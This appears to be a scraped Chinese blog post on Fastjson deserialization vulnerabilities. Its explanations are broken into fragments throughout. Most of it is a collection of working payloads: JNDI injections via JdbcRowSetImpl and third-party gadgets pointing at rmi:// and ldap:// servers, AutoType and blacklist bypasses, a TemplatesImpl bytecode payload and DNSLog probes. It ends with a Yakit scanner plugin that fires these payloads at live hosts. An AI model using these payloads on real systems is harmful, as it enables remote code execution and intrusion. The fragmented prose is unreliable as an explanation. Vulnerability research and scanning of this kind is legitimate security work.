{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
{"x":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/aaa","autoCommit":true}}
fastjson漏洞分析
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
测试代码如下
import com.alibaba.fastjson.JSONObject;
public class fastjsonTest {
public static void main(String[] args){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://x.x.x.x:1099/jndi\", \"autoCommit\":true}";
JSONObject.parse(payload);
}
}
调试跟踪
Lcom.sun.rowset.JdbcRowSetImpl;、LLcom.sun.rowset.JdbcRowSetImpl;;、[com.sun.rowset.JdbcRowSetImpl
TypeUtils.loadClass
方法中对类名做了处理,如图,当className是L
开头;
结尾,直接去掉(注意这里是用的递归,所以在类名前加多少L都可以)(这么做是为了兼容JNI字段描述符)com.sun.rowset.JdbcRowSetImpl
类型数组的classdataSourceName
和autoCommit
,com.sun.rowset.JdbcRowSetImpl
的setAutoCommit
方法会对dataSourceName
进行lookup(相关代码在{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true}
[com.sun.rowset.JdbcRowSetImpl
加载时得到的是数组类型com.sun.rowset.JdbcRowSetImpl
},
结尾(但实际上下一个字符是[
){
,然后调用scanSymbol方法,但现指向字符是,
,所以得到的key是null,进入下一次循环,得到key:dataSourceName,
:{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
依然有效{"@type":"[com.sun.rowset.JdbcRowSetImpl"[<任意数量的,>{<任意数量的,>"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
,这个是对AutoType绕过的,1.2.25才有AutoType,{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
先加载一遍com.sun.rowset.JdbcRowSetImpl
,放进mapping缓存,下次加载com.sun.rowset.JdbcRowSetImpl
可以通过缓存加载,从而绕过AutoType的限制AutoType和黑白名单
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)
if (Arrays.binarySearch(denyHashCodes, hash) >= 0
,而且com.sun.*都被禁了,同时关闭了缓存,不能通过第二种paylaod绕,只能通过不在黑名单中的第三方库绕过总结
L
、;
绕过即可),1.2.32~1.2.47可以利用第二个payload绕{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass","autoCommit":true}}
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl"[,,,{,,,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
// 还有一种畸形payload
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}
{"@type":"
java
$
net
$Inet4Address","val":"
xxx.dnslog.cn
"}
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://{{interactsh-url}}/exploit"
}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
例:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["<base64编码的bytecodes>"],
"_name":"c",
"_tfactory":{},
"outputProperties":{}
}
注:测试时发现有时在解析json前会判断类型是否匹配,匹配失败则在解析前抛出异常。所以需要将payload改造一下,如
{"@type":"
java
.
net
.Inet4Address","val":"
xxx.dnslog.cn
"}
改为
{"a":{"@type":"
java
.
net
.Inet4Address","val":"
xxx.dnslog.cn
"}}
Yak插件实现
Inet4Address
检测,如果存在fastjson,则继续测试jndi利用payload,否则继续测试高版本payloadmirrorNewWebsitePath
方法,可以保证每个路径只检测一次mirrorNewWebsitePath
方法中,可以对响应包做检测,如果是json数据,才开始fastjson漏洞检测。可以有效减少无效发包数量# mitm plugin template
#--------------------------WORKSPACE-----------------------------
__test__ = func() {
results, err := yakit.GenerateYakitMITMHooksParams("GET", "http://192.168.101.211:26468/")
if err != nil {
return
}
isHttps, url, reqRaw, rspRaw, body = results
mirrorNewWebsitePath(results...)
}
highVersionPayload = [`{"{{randstr(2)}}":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"{{params(reverseConnTarget)}}"}}`,`{"{{randstr(2)}}":{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"{{params(reverseConnTarget)}}"}}`,`{"{{randstr(2)}}":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"{{params(reverseConnTarget)}}"}`,`{"{{randstr(2)}}":{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"{{params(reverseConnTarget)}}"}}}`]
dnslogPayloads = [`{"{{randstr(2)}}":{"@type":"java.net.InetSocketAddress"{"address":,"val":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"java.net.Inet4Address","val":"{{params(reverseConnTarget)}}"}}`]
nextPayload = [`{"{{randstr(2)}}":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"{{randstr(2)}}":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"{{params(reverseConnTarget)}}","autoCommit":true}}`,`{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,,,{,,,"dataSourceName":"{{params(reverseConnTarget)}}", "autoCommit":true}`]
fastJsonCount = 0
lock = sync.NewLock()
addTask = func() {
lock.Lock()
defer lock.Unlock()
fastJsonCount++
yakit_status("FastJSON 检查任务", sprint(fastJsonCount))
}
subTask = func() {
lock.Lock()
defer lock.Unlock()
fastJsonCount--
if fastJsonCount > 0 {
yakit_status("FastJSON 检查任务", sprint(fastJsonCount))
}else{
yakit_status("FastJSON 检查任务", "暂无执行中")
}
}
mirrorNewWebsitePath = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {
addTask()
defer subTask()
defer func {
err = recover()
if err != nil {
log.error("MITM FastJSON ERROR: %v", err)
}
}
host, port, err = str.ParseStringToHostPort(url)
addr = str.HostPort(host, port)
rspIns, err = poc.ParseBytesToHTTPResponse(rsp)
if err != nil {
println(err)
return
}
result = str.Join(rspIns.Header["Content-Type"], "; ")
if (!str.MatchAllOfSubString(str.ToLower(result), "json")) && (!str.IsJsonResponse(rspIns)) {
log.info("not a valid json type: %v", result)
return
}
yakit_output(sprintf("Start to check fastjson vuln for: %v", addr))
freq, err = fuzz.HTTPRequest(req)
die(err)
yakit_output("Start to fetch DNSLog")
domain, token, err = risk.NewDNSLogDomain()// "ldap://127.0.0.1:123/123"
if err != nil {
yakit_output("Fetch DNSLog Failed: %s", err)
return
}
yakit_output(sprintf("Fetch domain: %s",domain))
reverseConnTarget = sprintf("ldap://%v/%v", domain, str.RandStr(10))
freq, err = fuzz.HTTPRequest(req)
if err != nil {
yakit_output("build http request failed: %s", err)
return
}
payloadRes = []
fuzzInfo = nil
riskLevel = ""
checkVul = fn(host,port){
genPayload = fn(payloadRaw,rev) {
return fuzz.StringsWithParam(payloadRaw, {"reverseConnTarget":rev})[0]
}
testPayload = fn(payload) {
yakit_output(sprintf("Send payload: %s",payload))
freq = freq.FuzzMethod("POST").FuzzHTTPHeader("Content-Type", "application/json").FuzzPostRaw(payload)
res, err = freq.Exec(httpool.https(isHttps), httpool.size(1))
for result = range res {
results, err = risk.CheckDNSLogByToken(token)
if err != nil {
yakit_output(sprintf("check dnslog result failed: %s", err))
continue
}
if len(results) > 0 {
fuzzInfo = result
payloadRes = append(payloadRes,payload)
return true
}
}
return false
}
for _,dnslogPayload = range dnslogPayloads{
if testPayload(genPayload(dnslogPayload,domain)){
riskLevel = "middle"
for _,payloadRaw = range nextPayload{
if testPayload(genPayload(payloadRaw,reverseConnTarget)){
riskLevel = "critical"
return true
}
}
return true
}
}
for _,payloadRaw = range highVersionPayload{
if testPayload(genPayload(payloadRaw,reverseConnTarget)){
riskLevel = "critical"
return true
}
}
return false
}
if checkVul(host,port){
yakit_output(sprintf("FastJson Found! %v", addr))
risk.NewRisk(
addr, risk.payload(str.Join(payloadRes, "\r\n")),
risk.type("rce"), risk.level(riskLevel),
risk.title(sprintf("FastJSON RCE via DNSLog: %v", addr)),
risk.titleVerbose(sprintf("FastJSON 远程命令执行(DNSLog): %v", addr)),
risk.details({
"request": fuzzInfo.RequestRaw,
"response": fuzzInfo.ResponseRaw,
"token": token,
"domain": domain,
}),
risk.token(token),
)
}else{
yakit_output(sprintf("Target: %s is invulnerable", host))
}
}
END
官网教程:https://www.yaklang.io/products/intro
视频教程:https://space.bilibili.com/437503777
下载地址:https://github.com/yaklang/yakit